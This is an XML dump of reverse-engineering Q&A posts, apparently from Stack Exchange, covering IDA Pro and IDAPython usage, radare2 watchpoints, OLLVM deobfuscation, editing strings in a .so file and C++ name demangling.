  <row Id="21048" PostTypeId="1" CreationDate="2019-04-05T12:58:49.720" Score="2" ViewCount="132" Body="&lt;p&gt;How can I dump the output of this register , the MSR -  IA32_VMX_PROCBASED_CTLS2 , to see whether unrestricted guest mode is supported/enabled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Context is curiosity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware that Docker in the case of mac osx, and maybe in the case of Windows, requires unrestricted mode / unrestricted guest mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I read &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://software.intel.com/en-us/forums/virtualization-software-development/topic/277958&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://software.intel.com/en-us/forums/virtualization-software-development/topic/277958&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;There are a series of MSRs that tell you if a given CPU supports the '1' setting of unrestricted guest and a number of other virtualization features. The specific MSR is IA32_VMX_PROCBASED_CTLS2 and I believe unrestricted guest is bit 7 in the secondary proc controls VMCS field.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i don't know if powershell or wmic will show it.  I know win7 32bit has debug(which might possible show it?  I know debug can show some registers, I have once used debug to move a value into the AX register), though i'm on win7 64bit and that doesn't have debug.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps somebody that knows a bit of assembly can show what assembler one needs to install and what lines to run, to display the bits of that register?&lt;/p&gt;&#xA;" OwnerUserId="28027" LastActivityDate="2019-04-05T12:58:49.720" Title="How can I dump the output of this register , the MSR - IA32_VMX_PROCBASED_CTLS2 , to see whether unrestricted guest mode is supported/enabled?" Tags="|windows|assembly|register|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21049" PostTypeId="1" CreationDate="2019-04-05T13:09:43.197" Score="1" ViewCount="2706" Body="&lt;p&gt;When I load the binay in IDA, all I can see are loads of &lt;code&gt;.datadiv_decodeXXX...&lt;/code&gt; functions and this is because of OLLVM.  I know it is possible as a Chinese article I found said they were able to decrypt all the strings by using IDAPython.  I just have no idea where to start.   &lt;/p&gt;&#xA;" OwnerUserId="23476" LastActivityDate="2019-04-06T05:57:38.723" Title="How to deobfuscate native Android library obfuscated with OLLVM?" Tags="|ida|idapython|android|obfuscation|deobfuscation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21051" PostTypeId="1" CreationDate="2019-04-05T16:22:15.770" Score="1" ViewCount="373" Body="&lt;p&gt;I was wondering if it is possible to retrieve the function definition at &lt;code&gt;ea&lt;/code&gt; and eventually how to edit it. This feature should be in &lt;code&gt;idaapi&lt;/code&gt; but unfortunately there's basically no documentation about that.  &lt;/p&gt;&#xA;" OwnerUserId="26890" LastActivityDate="2019-04-05T16:22:15.770" Title="Get and change function definition IDAPython" Tags="|idapython|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21052" PostTypeId="1" CreationDate="2019-04-05T17:30:16.773" Score="3" ViewCount="2154" Body="&lt;p&gt;I am a newbie to RE and IDA Pro 7.2, and I am working my way through the book Practical Malware Analysis. I'm currently working on the lab 15-01 problem in the anti-disassembler chapter, but am having difficulty reproducing part of the solution in my environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I solved the lab by redefining some bogus opcodes into data, and now I have reasonable disassembly listings to look at. So far, so good. But at the end, the solution tells you to turn this fixed-up section into a function using the &quot;P&quot; hotkey. That doesn't work for me: I get this message in the output window:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00401010: The function has undefined instruction/data at the specified address.&#xA;Your request has been put in the autoanalysis queue.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The address points to the first data definition I made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to flip over to graph mode doesn't work either. I get a popup that tells me that only instructions belonging to functions can be displayed in graph mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go to the Problems tab, I see lines like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00401062  NONAME      db 0E8h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I didn't glean anything in the IDA Pro help file for no name problems that helped me with my specific situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, I used Edit -&gt; Patch Program -&gt; change byte to NOP out the data bytes and turn them into code. Then I had a function that I could graph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, is there a way to do this without patching bytes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Added error message text to the post.&lt;/p&gt;&#xA;" OwnerUserId="28051" LastEditorUserId="28051" LastEditDate="2019-04-07T22:59:36.083" LastActivityDate="2019-08-03T02:19:37.113" Title="Anti-disassembler techniques and IDA Pro" Tags="|ida|anti-debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21053" PostTypeId="1" AcceptedAnswerId="21398" CreationDate="2019-04-05T17:33:37.953" Score="0" ViewCount="582" Body="&lt;p&gt;I use IDA pro and along the analysis I try to understand the following function.&#xA;There is a simple switch case but it appears that all the 13 switch branches do the EXACT same thing.&#xA;Am I missing something here???&#xA;In case it does branch to the same 13 identical branches than why is IDA analyzing it like this or, if this is a compiler issue that what the reason behind this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        myFunc         proc near               ; CODE XREF: call_BH32_and_BH32func+46↑p&#xA;.text:010CA990                                         ; BH32+12↑p&#xA;.text:010CA990                                         ; DATA XREF: ...&#xA;.text:010CA990&#xA;.text:010CA990 arg_0           = dword ptr  8&#xA;.text:010CA990 arg_4           = dword ptr  0Ch&#xA;.text:010CA990 arg_8           = dword ptr  10h&#xA;.text:010CA990 arg_C           = dword ptr  14h&#xA;.text:010CA990 arg_10          = dword ptr  18h&#xA;.text:010CA990&#xA;.text:010CA990                 push    ebp&#xA;.text:010CA991                 mov     ebp, esp&#xA;.text:010CA993                 mov     ecx, [ebp+arg_0]&#xA;.text:010CA996                 xor     edx, edx&#xA;.text:010CA998                 push    esi&#xA;.text:010CA999                 mov     esi, [ebp+arg_4]&#xA;.text:010CA99C                 push    edi&#xA;.text:010CA99D                 mov     edi, 0Dh&#xA;.text:010CA9A2                 lea     eax, [ecx+esi]&#xA;.text:010CA9A5                 div     edi&#xA;.text:010CA9A7                 cmp     edx, 0Ch        ; switch 13 cases&#xA;.text:010CA9AA                 ja      loc_10CAAE2     ; jumptable 1017A9B0 default case&#xA;.text:010CA9B0                 jmp     ds:off_10CAAE8[edx*4] ; switch jump&#xA;.text:010CA9B7 ; ---------------------------------------------------------------------------&#xA;.text:010CA9B7&#xA;.text:010CA9B7 loc_10CA9B7:                            ; CODE XREF: myFunc+20↑j&#xA;.text:010CA9B7                                         ; DATA XREF: .text:off_10CAAE8↓o&#xA;.text:010CA9B7                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 0&#xA;.text:010CA9BA                 push    [ebp+arg_C]&#xA;.text:010CA9BD                 push    [ebp+arg_8]&#xA;.text:010CA9C0                 push    esi&#xA;.text:010CA9C1                 push    ecx&#xA;.text:010CA9C2                 call    nextFunc&#xA;.text:010CA9C7                 add     esp, 14h&#xA;.text:010CA9CA                 pop     edi&#xA;.text:010CA9CB                 pop     esi&#xA;.text:010CA9CC                 pop     ebp&#xA;.text:010CA9CD                 retn&#xA;.text:010CA9CE ; ---------------------------------------------------------------------------&#xA;.text:010CA9CE&#xA;.text:010CA9CE loc_10CA9CE:                            ; CODE XREF: myFunc+20↑j&#xA;.text:010CA9CE                                         ; DATA XREF: .text:off_10CAAE8↓o&#xA;.text:010CA9CE                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 1&#xA;.text:010CA9D1                 push    [ebp+arg_C]&#xA;.text:010CA9D4                 push    [ebp+arg_8]&#xA;.text:010CA9D7                 push    esi&#xA;.text:010CA9D8                 push    ecx&#xA;.text:010CA9D9                 call    nextFunc&#xA;.text:010CA9DE                 add     esp, 14h&#xA;.text:010CA9E1                 pop     edi&#xA;.text:010CA9E2                 pop     esi&#xA;.text:010CA9E3                 pop     ebp&#xA;.text:010CA9E4                 retn&#xA;.text:010CA9E5 ; ---------------------------------------------------------------------------&#xA;.text:010CA9E5&#xA;.text:010CA9E5 loc_10CA9E5:                            ; CODE XREF: myFunc+20↑j&#xA;.text:010CA9E5                                         ; DATA XREF: .text:off_10CAAE8↓o&#xA;.text:010CA9E5                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 2&#xA;.text:010CA9E8                 push    [ebp+arg_C]&#xA;.text:010CA9EB                 push    [ebp+arg_8]&#xA;.text:010CA9EE                 push    esi&#xA;.text:010CA9EF                 push    ecx&#xA;.text:010CA9F0                 call    nextFunc&#xA;.text:010CA9F5                 add     esp, 14h&#xA;.text:010CA9F8                 pop     edi&#xA;.text:010CA9F9                 pop     esi&#xA;.text:010CA9FA                 pop     ebp&#xA;.text:010CA9FB                 retn&#xA;.text:010CA9FC ; ---------------------------------------------------------------------------&#xA;.text:010CA9FC&#xA;.text:010CA9FC loc_10CA9FC:                            ; CODE XREF: myFunc+20↑j&#xA;.text:010CA9FC                                         ; DATA XREF: .text:off_10CAAE8↓o&#xA;.text:010CA9FC                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 3&#xA;.text:010CA9FF                 push    [ebp+arg_C]&#xA;.text:010CAA02                 push    [ebp+arg_8]&#xA;.text:010CAA05                 push    esi&#xA;.text:010CAA06                 push    ecx&#xA;.text:010CAA07                 call    nextFunc&#xA;.text:010CAA0C                 add     esp, 14h&#xA;.text:010CAA0F                 pop     edi&#xA;.text:010CAA10                 pop     esi&#xA;.text:010CAA11                 pop     ebp&#xA;.text:010CAA12                 retn&#xA;.text:010CAA13 ; ---------------------------------------------------------------------------&#xA;.text:010CAA13&#xA;.text:010CAA13 loc_10CAA13:                            ; CODE XREF: myFunc+20↑j&#xA;.text:010CAA13                                         ; DATA XREF: .text:off_10CAAE8↓o&#xA;.text:010CAA13                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 4&#xA;.text:010CAA16                 push    [ebp+arg_C]&#xA;.text:010CAA19                 push    [ebp+arg_8]&#xA;.text:010CAA1C                 push    esi&#xA;.text:010CAA1D                 push    ecx&#xA;.text:010CAA1E                 call    nextFunc&#xA;.text:010CAA23                 add     esp, 14h&#xA;.text:010CAA26                 pop     edi&#xA;.text:010CAA27                 pop     esi&#xA;.text:010CAA28                 pop     ebp&#xA;.text:010CAA29                 retn&#xA;.text:010CAA2A ; ---------------------------------------------------------------------------&#xA;.text:010CAA2A&#xA;.text:010CAA2A loc_10CAA2A:                            ; CODE XREF: myFunc+20↑j&#xA;.text:010CAA2A                                         ; DATA XREF: .text:off_10CAAE8↓o&#xA;.text:010CAA2A                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 5&#xA;.text:010CAA2D                 push    [ebp+arg_C]&#xA;.text:010CAA30                 push    [ebp+arg_8]&#xA;.text:010CAA33                 push    esi&#xA;.text:010CAA34                 push    ecx&#xA;.text:010CAA35                 call    nextFunc&#xA;.text:010CAA3A                 add     esp, 14h&#xA;.text:010CAA3D                 pop     edi&#xA;.text:010CAA3E                 pop     esi&#xA;.text:010CAA3F                 pop     ebp&#xA;.text:010CAA40                 retn&#xA;.text:010CAA41 ; ---------------------------------------------------------------------------&#xA;.text:010CAA41&#xA;.text:010CAA41 loc_10CAA41:                            ; CODE XREF: myFunc+20↑j&#xA;.text:010CAA41                                         ; DATA XREF: .text:off_10CAAE8↓o&#xA;.text:010CAA41                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 6&#xA;.text:010CAA44                 push    [ebp+arg_C]&#xA;.text:010CAA47                 push    [ebp+arg_8]&#xA;.text:010CAA4A                 push    esi&#xA;.text:010CAA4B                 push    ecx&#xA;.text:010CAA4C                 call    nextFunc&#xA;.text:010CAA51                 add     esp, 14h&#xA;.text:010CAA54                 pop     edi&#xA;.text:010CAA55                 pop     esi&#xA;.text:010CAA56                 pop     ebp&#xA;.text:010CAA57                 retn&#xA;.text:010CAA58 ; ---------------------------------------------------------------------------&#xA;.text:010CAA58&#xA;.text:010CAA58 loc_10CAA58:                            ; CODE XREF: myFunc+20↑j&#xA;.text:010CAA58                                         ; DATA XREF: .text:off_10CAAE8↓o&#xA;.text:010CAA58                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 7&#xA;.text:010CAA5B                 push    [ebp+arg_C]&#xA;.text:010CAA5E                 push    [ebp+arg_8]&#xA;.text:010CAA61                 push    esi&#xA;.text:010CAA62                 push    ecx&#xA;.text:010CAA63                 call    nextFunc&#xA;.text:010CAA68                 add     esp, 14h&#xA;.text:010CAA6B                 pop     edi&#xA;.text:010CAA6C                 pop     esi&#xA;.text:010CAA6D                 pop     ebp&#xA;.text:010CAA6E                 retn&#xA;.text:010CAA6F ; ---------------------------------------------------------------------------&#xA;.text:010CAA6F&#xA;.text:010CAA6F loc_10CAA6F:                            ; CODE XREF: myFunc+20↑j&#xA;.text:010CAA6F                                         ; DATA XREF: .text:off_10CAAE8↓o&#xA;.text:010CAA6F                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 8&#xA;.text:010CAA72                 push    [ebp+arg_C]&#xA;.text:010CAA75                 push    [ebp+arg_8]&#xA;.text:010CAA78                 push    esi&#xA;.text:010CAA79                 push    ecx&#xA;.text:010CAA7A                 call    nextFunc&#xA;.text:010CAA7F                 add     esp, 14h&#xA;.text:010CAA82                 pop     edi&#xA;.text:010CAA83                 pop     esi&#xA;.text:010CAA84                 pop     ebp&#xA;.text:010CAA85                 retn&#xA;.text:010CAA86 ; ---------------------------------------------------------------------------&#xA;.text:010CAA86&#xA;.text:010CAA86 loc_10CAA86:                            ; CODE XREF: myFunc+20↑j&#xA;.text:010CAA86                                         ; DATA XREF: .text:off_10CAAE8↓o&#xA;.text:010CAA86                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 9&#xA;.text:010CAA89                 push    [ebp+arg_C]&#xA;.text:010CAA8C                 push    [ebp+arg_8]&#xA;.text:010CAA8F                 push    esi&#xA;.text:010CAA90                 push    ecx&#xA;.text:010CAA91                 call    nextFunc&#xA;.text:010CAA96                 add     esp, 14h&#xA;.text:010CAA99                 pop     edi&#xA;.text:010CAA9A                 pop     esi&#xA;.text:010CAA9B                 pop     ebp&#xA;.text:010CAA9C                 retn&#xA;.text:010CAA9D ; ---------------------------------------------------------------------------&#xA;.text:010CAA9D&#xA;.text:010CAA9D loc_10CAA9D:                            ; CODE XREF: myFunc+20↑j&#xA;.text:010CAA9D                                         ; DATA XREF: .text:off_10CAAE8↓o&#xA;.text:010CAA9D                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 10&#xA;.text:010CAAA0                 push    [ebp+arg_C]&#xA;.text:010CAAA3                 push    [ebp+arg_8]&#xA;.text:010CAAA6                 push    esi&#xA;.text:010CAAA7                 push    ecx&#xA;.text:010CAAA8                 call    nextFunc&#xA;.text:010CAAAD                 add     esp, 14h&#xA;.text:010CAAB0                 pop     edi&#xA;.text:010CAAB1                 pop     esi&#xA;.text:010CAAB2                 pop     ebp&#xA;.text:010CAAB3                 retn&#xA;.text:010CAAB4 ; ---------------------------------------------------------------------------&#xA;.text:010CAAB4&#xA;.text:010CAAB4 loc_10CAAB4:                            ; CODE XREF: myFunc+20↑j&#xA;.text:010CAAB4                                         ; DATA XREF: .text:off_10CAAE8↓o&#xA;.text:010CAAB4                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 11&#xA;.text:010CAAB7                 push    [ebp+arg_C]&#xA;.text:010CAABA                 push    [ebp+arg_8]&#xA;.text:010CAABD                 push    esi&#xA;.text:010CAABE                 push    ecx&#xA;.text:010CAABF                 call    nextFunc&#xA;.text:010CAAC4                 add     esp, 14h&#xA;.text:010CAAC7                 pop     edi&#xA;.text:010CAAC8                 pop     esi&#xA;.text:010CAAC9                 pop     ebp&#xA;.text:010CAACA                 retn&#xA;.text:010CAACB ; ---------------------------------------------------------------------------&#xA;.text:010CAACB&#xA;.text:010CAACB loc_10CAACB:                            ; CODE XREF: myFunc+20↑j&#xA;.text:010CAACB                                         ; DATA XREF: .text:off_10CAAE8↓o&#xA;.text:010CAACB                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 12&#xA;.text:010CAACE                 push    [ebp+arg_C]&#xA;.text:010CAAD1                 push    [ebp+arg_8]&#xA;.text:010CAAD4                 push    esi&#xA;.text:010CAAD5                 push    ecx&#xA;.text:010CAAD6                 call    nextFunc&#xA;.text:010CAADB                 add     esp, 14h&#xA;.text:010CAADE                 pop     edi&#xA;.text:010CAADF                 pop     esi&#xA;.text:010CAAE0                 pop     ebp&#xA;.text:010CAAE1                 retn&#xA;.text:010CAAE2 ; ---------------------------------------------------------------------------&#xA;.text:010CAAE2&#xA;.text:010CAAE2 loc_10CAAE2:                            ; CODE XREF: myFunc+1A↑j&#xA;.text:010CAAE2                 pop     edi             ; jumptable 1017A9B0 default case&#xA;.text:010CAAE3                 xor     eax, eax&#xA;.text:010CAAE5                 pop     esi&#xA;.text:010CAAE6                 pop     ebp&#xA;.text:010CAAE7                 retn&#xA;.text:010CAAE7 myFunc       endp&#xA;.text:010CAAE7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25313" LastActivityDate="2019-05-31T12:03:33.297" Title="IDA pro - strange switch statement" Tags="|ida|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21057" PostTypeId="1" AcceptedAnswerId="21059" CreationDate="2019-04-06T02:38:05.527" Score="1" ViewCount="533" Body="&lt;p&gt;Is there any way to put breakpoints in radare2 that trigger when an address is read/write?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In GDB those are call watchpoints ('rwatch' or 'awatch&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got this from &lt;a href=&quot;https://www.radare.org/doc/html/Section20.6.3.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0xB7F08810]&amp;gt; !dr?&#xA;Usage: !dr[type] [args]&#xA;  dr                   - show DR registers&#xA;  dr-                  - reset DR registers&#xA;  drr [addr]           - set a read watchpoint&#xA;  drw [addr]           - set a write watchpoint&#xA;  drx [addr]           - set an execution watchpoint&#xA;  dr[0-3][rwx] [addr]  - set a rwx wp at a certain DR reg&#xA;Use addr=0 to undefine a DR watchpoint&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I think that is old...&lt;/p&gt;&#xA;" OwnerUserId="24762" LastActivityDate="2019-04-06T06:07:18.547" Title="Is there watchpoints in radare2?" Tags="|radare2|debuggers|breakpoint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21058" PostTypeId="2" ParentId="21049" CreationDate="2019-04-06T05:57:38.723" Score="4" Body="&lt;p&gt;You're in luck; I wrote an &lt;a href=&quot;http://www.hexblog.com/?p=1248&quot; rel=&quot;nofollow noreferrer&quot;&gt;article&lt;/a&gt; about that last year. I didn't know at the time that the obfuscator in question was Obfuscator-LLVM, but indeed, it was (albeit a version that was integrated into the MSVC toolchain). I even published &lt;a href=&quot;https://github.com/RolfRolles/HexRaysDeob&quot; rel=&quot;nofollow noreferrer&quot;&gt;full source code&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2019-04-06T05:57:38.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21059" PostTypeId="2" ParentId="21057" CreationDate="2019-04-06T06:07:18.547" Score="2" Body="&lt;p&gt;The latest r2 (&lt;code&gt;radare2 3.5.0-git&lt;/code&gt;) uses &lt;code&gt;dbw&lt;/code&gt; command to add watchpoints.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; db?&#xA;Usage: db    # Breakpoints commands&#xA;...&#xA;| dbw &amp;lt;addr&amp;gt; &amp;lt;r/w/rw&amp;gt;       Add watchpoint&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2019-04-06T06:07:18.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21060" PostTypeId="1" CreationDate="2019-04-06T07:55:06.897" Score="0" ViewCount="121" Body="&lt;p&gt;I'm reversing engendering a plugin. This plugin is loaded into memory by the main program. &#xA;I disassemble the plugin with radare2 but I don't know how to debug it.&#xA;I try with gdb but same problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know is possible because I have done it in Hopper but I don't know to to do it with radare2 or gdb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;one of the obstacles is, I load the plugin with radare2 to disassembler it but I can't put any breakpoint because is not set it in debug mode. Also, I can't set the debug mode because the plugin can't start by it self. Maybe I need I command that will start my main program before the debug? is there anything like that in radare2? I was reading about rarun2 but I can't make it work for something like this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="24762" LastEditorUserId="24762" LastEditDate="2019-04-07T17:57:40.777" LastActivityDate="2019-04-07T17:57:40.777" Title="How to debug programs that load from another one? with radare2/gdb" Tags="|debugging|radare2|gdb|debuggers|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21061" PostTypeId="1" AcceptedAnswerId="21437" CreationDate="2019-04-06T08:42:05.337" Score="4" ViewCount="3836" Body="&lt;p&gt;I have here an .so file that contains a language pack and I want to edit them. My problem is that I don't always have enough space for a clean translation.&#xA;I know that I can change the texts if they keep the same length or become shorter (fill the rest with NULL). Is if it is possible to create more space?&#xA;placeholder and resize the file and jump to the end of the binary file?&#xA;or maybe a reference to a .txt file?&lt;/p&gt;&#xA;" OwnerUserId="28060" LastEditorUserId="28060" LastEditDate="2020-05-01T14:42:12.670" LastActivityDate="2020-05-01T14:42:12.670" Title="Edit an .so file" Tags="|disassembly|elf|binary-editing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21063" PostTypeId="1" CreationDate="2019-04-06T16:45:09.407" Score="1" ViewCount="1926" Body="&lt;p&gt;I'm currently reversing some C++ Binary (macOS Kernel Extension).&lt;br&gt;&#xA;But, there are a lot of vtable functions, so i want to make some vtable structures by using IDAPython.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to make structure itself, but i don't know how to get symbol in following case.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UNDEF:0000000000003E60 ; IORegistryEntry::compareName(OSString *, OSString **)const&#xA;UNDEF:0000000000003E60                 extrn __ZNK15IORegistryEntry11compareNameEP8OSStringPS1_:qword&#xA;UNDEF:0000000000003E60                                         ; DATA XREF: __const:0000000000002410↑o&#xA;UNDEF:0000000000003E60                                         ; __const:0000000000002F40↑o&#xA;UNDEF:0000000000003E68 ; IORegistryEntry::getLocation(IORegistryPlane const*)const&#xA;UNDEF:0000000000003E68                 extrn __ZNK15IORegistryEntry11getLocationEPK15IORegistryPlane:qword&#xA;UNDEF:0000000000003E68                                         ; DATA XREF: __const:0000000000002428↑o&#xA;UNDEF:0000000000003E68                                         ; __const:0000000000002F58↑o&#xA;UNDEF:0000000000003E70 ; IORegistryEntry::getProperty(OSString const*)const&#xA;UNDEF:0000000000003E70                 extrn __ZNK15IORegistryEntry11getPropertyEPK8OSString:qword&#xA;UNDEF:0000000000003E70                                         ; DATA XREF: __const:0000000000002320↑o&#xA;UNDEF:0000000000003E70                                         ; __const:0000000000002E50↑o&#xA;UNDEF:0000000000003E78 ; IORegistryEntry::getProperty(OSString const*, IORegistryPlane const*, unsigned int)const&#xA;UNDEF:0000000000003E78                 extrn __ZNK15IORegistryEntry11getPropertyEPK8OSStringPK15IORegistryPlanej:qword&#xA;UNDEF:0000000000003E78                                         ; DATA XREF: __const:0000000000002338↑o&#xA;UNDEF:0000000000003E78                                         ; __const:0000000000002E68↑o&#xA;UNDEF:0000000000003E80 ; IORegistryEntry::getProperty(OSSymbol const*)const&#xA;UNDEF:0000000000003E80                 extrn __ZNK15IORegistryEntry11getPropertyEPK8OSSymbol:qword&#xA;UNDEF:0000000000003E80                                         ; DATA XREF: __const:0000000000002318↑o&#xA;UNDEF:0000000000003E80                                         ; __const:0000000000002E48↑o&#xA;UNDEF:0000000000003E88 ; IORegistryEntry::getProperty(OSSymbol const*, IORegistryPlane const*, unsigned int)const&#xA;UNDEF:0000000000003E88                 extrn __ZNK15IORegistryEntry11getPropertyEPK8OSSymbolPK15IORegistryPlanej:qword&#xA;UNDEF:0000000000003E88                                         ; DATA XREF: __const:0000000000002330↑o&#xA;UNDEF:0000000000003E88                                         ; __const:0000000000002E60↑o&#xA;UNDEF:0000000000003E90 ; IORegistryEntry::getProperty(char const*)const&#xA;UNDEF:0000000000003E90                 extrn __ZNK15IORegistryEntry11getPropertyEPKc:qword&#xA;UNDEF:0000000000003E90                                         ; DATA XREF: __const:0000000000002328↑o&#xA;UNDEF:0000000000003E90                                         ; __const:0000000000002E58↑o&#xA;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to get above symbol name.&lt;br&gt;&#xA;I tried to use idc.GetFunctionName and idautils.Functions(), i can't get symbol name fully. Result is below.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;import idautils&#xA;Python&amp;gt;for func in idautils.Functions():&#xA;Python&amp;gt;  print(hex(func), idc.GetFunctionName(func))&#xA;&#xA;...&#xA;&#xA;('0x3950L', '__ZN15OSMetaClassBase12safeMetaCastEPKS_PK11OSMetaClass')&#xA;('0x3a08L', '__ZN8OSObjectdlEPvm')&#xA;('0x3a10L', '__ZN8OSObjectnwEm')&#xA;('0x3e00L', '__ZN9IOServiceC2EPK11OSMetaClass')&#xA;('0x3e08L', '__ZN9IOServiceD2Ev')&#xA;('0x3e38L', '__ZNK11OSMetaClass19instanceConstructedEv')&#xA;('0x3fb0L', '__ZNK9IOService10isInactiveEv')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there some good way to get symbols?&lt;/p&gt;&#xA;" OwnerUserId="26391" LastActivityDate="2019-04-06T17:33:31.133" Title="In IDA, i want to get symbol by using IDAPython" Tags="|ida|c++|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21064" PostTypeId="2" ParentId="21063" CreationDate="2019-04-06T17:33:31.133" Score="4" Body="&lt;p&gt;These names are mangled. You need to demangle it back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - Read something about &lt;a href=&quot;https://en.wikipedia.org/wiki/Name_mangling&quot; rel=&quot;nofollow noreferrer&quot;&gt;name mangling&lt;/a&gt; in order to understand why clear &lt;code&gt;IORegistryEntry::getProperty(OSString const*)const&lt;/code&gt; is converted to &lt;code&gt;__ZNK15IORegistryEntry11getPropertyEPK8OSString&lt;/code&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - Use demangling in IDA python (&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/idc-module.html#demangle_name&quot; rel=&quot;nofollow noreferrer&quot;&gt;idc.demangle_name&lt;/a&gt; or &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/ida_name-module.html#demangle_name&quot; rel=&quot;nofollow noreferrer&quot;&gt;ida_name.demangle_name&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 - If something goes wrong, you can go to &lt;a href=&quot;https://demangler.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;online demangler&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It converts your &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;('0x3950L', '__ZN15OSMetaClassBase12safeMetaCastEPKS_PK11OSMetaClass')&#xA;  ('0x3a08L', '__ZN8OSObjectdlEPvm') ('0x3a10L', '__ZN8OSObjectnwEm')&#xA;  ('0x3e00L', '__ZN9IOServiceC2EPK11OSMetaClass') ('0x3e08L',&#xA;  '__ZN9IOServiceD2Ev') ('0x3e38L',&#xA;  '__ZNK11OSMetaClass19instanceConstructedEv') ('0x3fb0L',&#xA;  '__ZNK9IOService10isInactiveEv')&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;('0x3950L', '_OSMetaClassBase::safeMetaCast(OSMetaClassBase const*, OSMetaClass const*)')&#xA;('0x3a08L', '_OSObject::operator delete(void*, unsigned long)')&#xA;('0x3a10L', '_OSObject::operator new(unsigned long)')&#xA;('0x3e00L', '_IOService::IOService(OSMetaClass const*)')&#xA;('0x3e08L', '_IOService::~IOService()')&#xA;('0x3e38L', '_OSMetaClass::instanceConstructed() const')&#xA;('0x3fb0L', '_IOService::isInactive() const')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2019-04-06T17:33:31.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
